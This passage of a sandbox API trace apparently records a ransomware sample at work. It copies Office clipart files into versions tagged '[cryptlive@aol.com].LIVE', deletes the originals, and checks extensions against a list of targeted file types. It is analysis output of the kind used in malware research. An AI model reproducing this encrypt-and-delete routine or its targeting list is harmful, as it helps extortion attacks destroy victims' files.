dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.300] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.300] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.301] GetLastError () returned 0x0 [0156.301] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1338, lpOverlapped=0x0) returned 1 [0156.302] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1340, lpOverlapped=0x0) returned 1 [0156.303] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.303] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.303] SetEndOfFile (hFile=0x3b4) returned 1 [0156.304] CloseHandle (hObject=0x3b4) returned 1 [0156.304] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.304] SetEndOfFile (hFile=0x1fc) returned 1 [0156.306] CloseHandle (hObject=0x1fc) returned 1 [0156.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0156.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.307] lstrlenW (lpString=".doc") returned 4 [0156.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.307] lstrlenW (lpString=".docx") returned 5 [0156.307] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.307] lstrlenW (lpString=".pdf") returned 4 [0156.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString=".xls") returned 4 [0156.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.308] lstrlenW (lpString=".xlsx") returned 5 [0156.308] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.308] lstrlenW (lpString=".ppt") returned 4 [0156.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.308] lstrlenW (lpString=".zip") returned 4 [0156.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.308] lstrlenW (lpString=".rar") returned 4 [0156.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString=".bz2") returned 4 [0156.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString=".7z") returned 3 [0156.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.308] lstrlenW (lpString=".dbf") returned 4 [0156.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.308] lstrlenW (lpString=".1cd") returned 4 [0156.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.308] lstrlenW (lpString=".jpg") returned 4 [0156.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.308] lstrlenW (lpString=".doc") returned 4 [0156.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString=".docx") returned 5 [0156.308] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.308] lstrlenW (lpString=".pdf") returned 4 [0156.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.308] lstrlenW (lpString=".xls") returned 4 [0156.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.309] lstrlenW (lpString=".xlsx") returned 5 [0156.309] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.309] lstrlenW (lpString=".ppt") returned 4 [0156.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.309] lstrlenW (lpString=".zip") returned 4 [0156.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.309] lstrlenW (lpString=".rar") returned 4 [0156.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.309] lstrlenW (lpString=".bz2") returned 4 [0156.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.309] lstrlenW (lpString=".7z") returned 3 [0156.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.309] lstrlenW (lpString=".dbf") returned 4 [0156.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.309] lstrlenW (lpString=".1cd") returned 4 [0156.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0156.309] lstrlenW (lpString=".jpg") returned 4 [0156.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.309] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.309] lstrlenW (lpString="J0107458.WMF") returned 12 [0156.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.312] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3568) returned 1 [0156.312] CloseHandle (hObject=0x1fc) returned 1 [0156.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 0x20 [0156.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.313] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.313] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.313] GetLastError () returned 0x0 [0156.313] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xdf0, lpOverlapped=0x0) returned 1 [0156.315] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe00, lpOverlapped=0x0) returned 1 [0156.316] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.316] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.316] SetEndOfFile (hFile=0x3b4) returned 1 [0156.316] CloseHandle (hObject=0x3b4) returned 1 [0156.317] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.317] SetEndOfFile (hFile=0x1fc) returned 1 [0156.319] CloseHandle (hObject=0x1fc) returned 1 [0156.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0156.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.320] lstrlenW (lpString=".doc") returned 4 [0156.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.320] lstrlenW (lpString=".docx") returned 5 [0156.320] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.320] lstrlenW (lpString=".pdf") returned 4 [0156.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.320] lstrlenW (lpString=".xls") returned 4 [0156.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.320] lstrlenW (lpString=".xlsx") returned 5 [0156.320] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.320] lstrlenW (lpString=".ppt") returned 4 [0156.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.320] lstrlenW (lpString=".zip") returned 4 [0156.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.320] lstrlenW (lpString=".rar") returned 4 [0156.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString=".bz2") returned 4 [0156.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString=".7z") returned 3 [0156.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.321] lstrlenW (lpString=".dbf") returned 4 [0156.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.321] lstrlenW (lpString=".1cd") returned 4 [0156.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.321] lstrlenW (lpString=".jpg") returned 4 [0156.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.321] lstrlenW (lpString=".doc") returned 4 [0156.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString=".docx") returned 5 [0156.321] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.321] lstrlenW (lpString=".pdf") returned 4 [0156.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString=".xls") returned 4 [0156.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.321] lstrlenW (lpString=".xlsx") returned 5 [0156.321] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.321] lstrlenW (lpString=".ppt") returned 4 [0156.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.321] lstrlenW (lpString=".zip") returned 4 [0156.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.321] lstrlenW (lpString=".rar") returned 4 [0156.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.321] lstrlenW (lpString=".bz2") returned 4 [0156.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.322] lstrlenW (lpString=".7z") returned 3 [0156.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.322] lstrlenW (lpString=".dbf") returned 4 [0156.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.322] lstrlenW (lpString=".1cd") returned 4 [0156.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63 [0156.322] lstrlenW (lpString=".jpg") returned 4 [0156.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.322] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.322] lstrlenW (lpString="J0107468.WMF") returned 12 [0156.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.323] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=9612) returned 1 [0156.323] CloseHandle (hObject=0x1fc) returned 1 [0156.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 0x20 [0156.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.323] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.324] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.324] GetLastError () returned 0x0 [0156.324] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x258c, lpOverlapped=0x0) returned 1 [0156.326] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2590, lpOverlapped=0x0) returned 1 [0156.327] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.327] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.327] SetEndOfFile (hFile=0x3b4) returned 1 [0156.327] CloseHandle (hObject=0x3b4) returned 1 [0156.327] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.327] SetEndOfFile (hFile=0x1fc) returned 1 [0156.329] CloseHandle (hObject=0x1fc) returned 1 [0156.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0156.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.331] lstrlenW (lpString=".doc") returned 4 [0156.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.331] lstrlenW (lpString=".docx") returned 5 [0156.331] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.331] lstrlenW (lpString=".pdf") returned 4 [0156.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.331] lstrlenW (lpString=".xls") returned 4 [0156.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.331] lstrlenW (lpString=".xlsx") returned 5 [0156.331] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.331] lstrlenW (lpString=".ppt") returned 4 [0156.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.331] lstrlenW (lpString=".zip") returned 4 [0156.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.332] lstrlenW (lpString=".rar") returned 4 [0156.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString=".bz2") returned 4 [0156.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString=".7z") returned 3 [0156.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.332] lstrlenW (lpString=".dbf") returned 4 [0156.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.332] lstrlenW (lpString=".1cd") returned 4 [0156.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.332] lstrlenW (lpString=".jpg") returned 4 [0156.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.332] lstrlenW (lpString=".doc") returned 4 [0156.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString=".docx") returned 5 [0156.332] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.332] lstrlenW (lpString=".pdf") returned 4 [0156.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString=".xls") returned 4 [0156.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.332] lstrlenW (lpString=".xlsx") returned 5 [0156.332] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.332] lstrlenW (lpString=".ppt") returned 4 [0156.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.332] lstrlenW (lpString=".zip") returned 4 [0156.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.332] lstrlenW (lpString=".rar") returned 4 [0156.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.332] lstrlenW (lpString=".bz2") returned 4 [0156.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.333] lstrlenW (lpString=".7z") returned 3 [0156.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.333] lstrlenW (lpString=".dbf") returned 4 [0156.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.333] lstrlenW (lpString=".1cd") returned 4 [0156.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63 [0156.333] lstrlenW (lpString=".jpg") returned 4 [0156.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.333] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.333] lstrlenW (lpString="J0107480.WMF") returned 12 [0156.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.334] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6024) returned 1 [0156.334] CloseHandle (hObject=0x1fc) returned 1 [0156.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 0x20 [0156.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.334] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.334] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, 